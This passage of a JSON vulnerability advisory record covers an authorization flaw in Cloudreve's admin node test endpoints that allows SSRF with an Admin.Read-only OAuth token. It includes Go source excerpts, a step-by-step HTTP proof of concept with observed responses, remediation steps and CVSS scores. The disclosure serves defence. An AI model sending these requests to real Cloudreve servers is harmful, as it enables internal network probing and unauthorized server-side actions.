These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n \"POST\",\n routes.SlavePingRoute(slave),\n bytes.NewReader(bodyByte),\n ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n \"token_type\": \"Bearer\",\n \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"node\": {\n \"name\": \"deny-control\",\n \"server\": \"http://127.0.0.1:18080\",\n \"type\": \"slave\",\n \"slave_key\": \"poc\"\n }\n}\n```\n\nObserved response:\n\n```json\n{\n \"code\": 40089,\n \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer \nContent-Type: application/json\n\n{\n \"node\": {\n \"id\": 124,\n \"name\": \"ssrf-poc\",\n \"server\": \"http://127.0.0.1:18080\",\n \"type\": \"slave\",\n \"slave_key\": \"attacker-controlled-key\"\n }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n \"code\": 0,\n \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr :\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-v6w6-358x-2433.json?alt=media" }, { "category": "other", "text": "0.00188", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "title": "CVSSV4" }, { "category": "other", "text": "5.3", "title": "CVSSV4 base score" }, { "category": "other", "text": "4.4", "title": "NCSC Score" }, { "category": "other", "text": "Is related to CWE-863 (Incorrect Authorization)", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is cwe data available from source Nvd, The value of the most recent CVSS (V3) score", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-818434", "CSAFPID-818435", "CSAFPID-818436", "CSAFPID-818437", "CSAFPID-818439", "CSAFPID-818440", "CSAFPID-818441", "CSAFPID-818442", "CSAFPID-818444", "CSAFPID-818447", "CSAFPID-818449", "CSAFPID-818450", "CSAFPID-818452", "CSAFPID-818453", "CSAFPID-818454", "CSAFPID-5999507", "CSAFPID-5999510", "CSAFPID-5999511", "CSAFPID-5999513", "CSAFPID-5999514", "CSAFPID-5999515", "CSAFPID-5999516", "CSAFPID-8758395", "CSAFPID-8758396", "CSAFPID-8758397", "CSAFPID-8758398", "CSAFPID-8758399", "CSAFPID-8758400", "CSAFPID-8758401", "CSAFPID-8758402", "CSAFPID-8758403", "CSAFPID-8758404", "CSAFPID-8758405", "CSAFPID-8758406", "CSAFPID-8758407", "CSAFPID-8758408", "CSAFPID-8758409", "CSAFPID-8758410", "CSAFPID-8758411", "CSAFPID-8758412", "CSAFPID-8758413", "CSAFPID-8758414", "CSAFPID-8758415", "CSAFPID-8758416", "CSAFPID-8758417", "CSAFPID-8758418", "CSAFPID-8758419", "CSAFPID-8758420", "CSAFPID-8758421", "CSAFPID-8758422", "CSAFPID-8758423", "CSAFPID-8758424", "CSAFPID-8758425", "CSAFPID-8758426", "CSAFPID-8758427", "CSAFPID-8758428", "CSAFPID-8758429", "CSAFPID-8758430", "CSAFPID-8758431", "CSAFPID-8758432", "CSAFPID-8758433", "CSAFPID-8758434", "CSAFPID-8758435", "CSAFPID-8758436", "CSAFPID-8758437", "CSAFPID-8758438", "CSAFPID-8850611", "CSAFPID-8850612", "CSAFPID-8850613", "CSAFPID-8850614", "CSAFPID-8850615", "CSAFPID-8923139", "CSAFPID-8868337", "CSAFPID-9476483", "CSAFPID-9478791", "CSAFPID-9478792" ], "known_not_affected": [ "CSAFPID-9478790" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-101048.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101048" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-101048" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-v6w6-358x-2433.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-6106.json?alt=media" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2026-101048" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss" }, { "category": "external", "summary": "Reference - cveprojectv5;
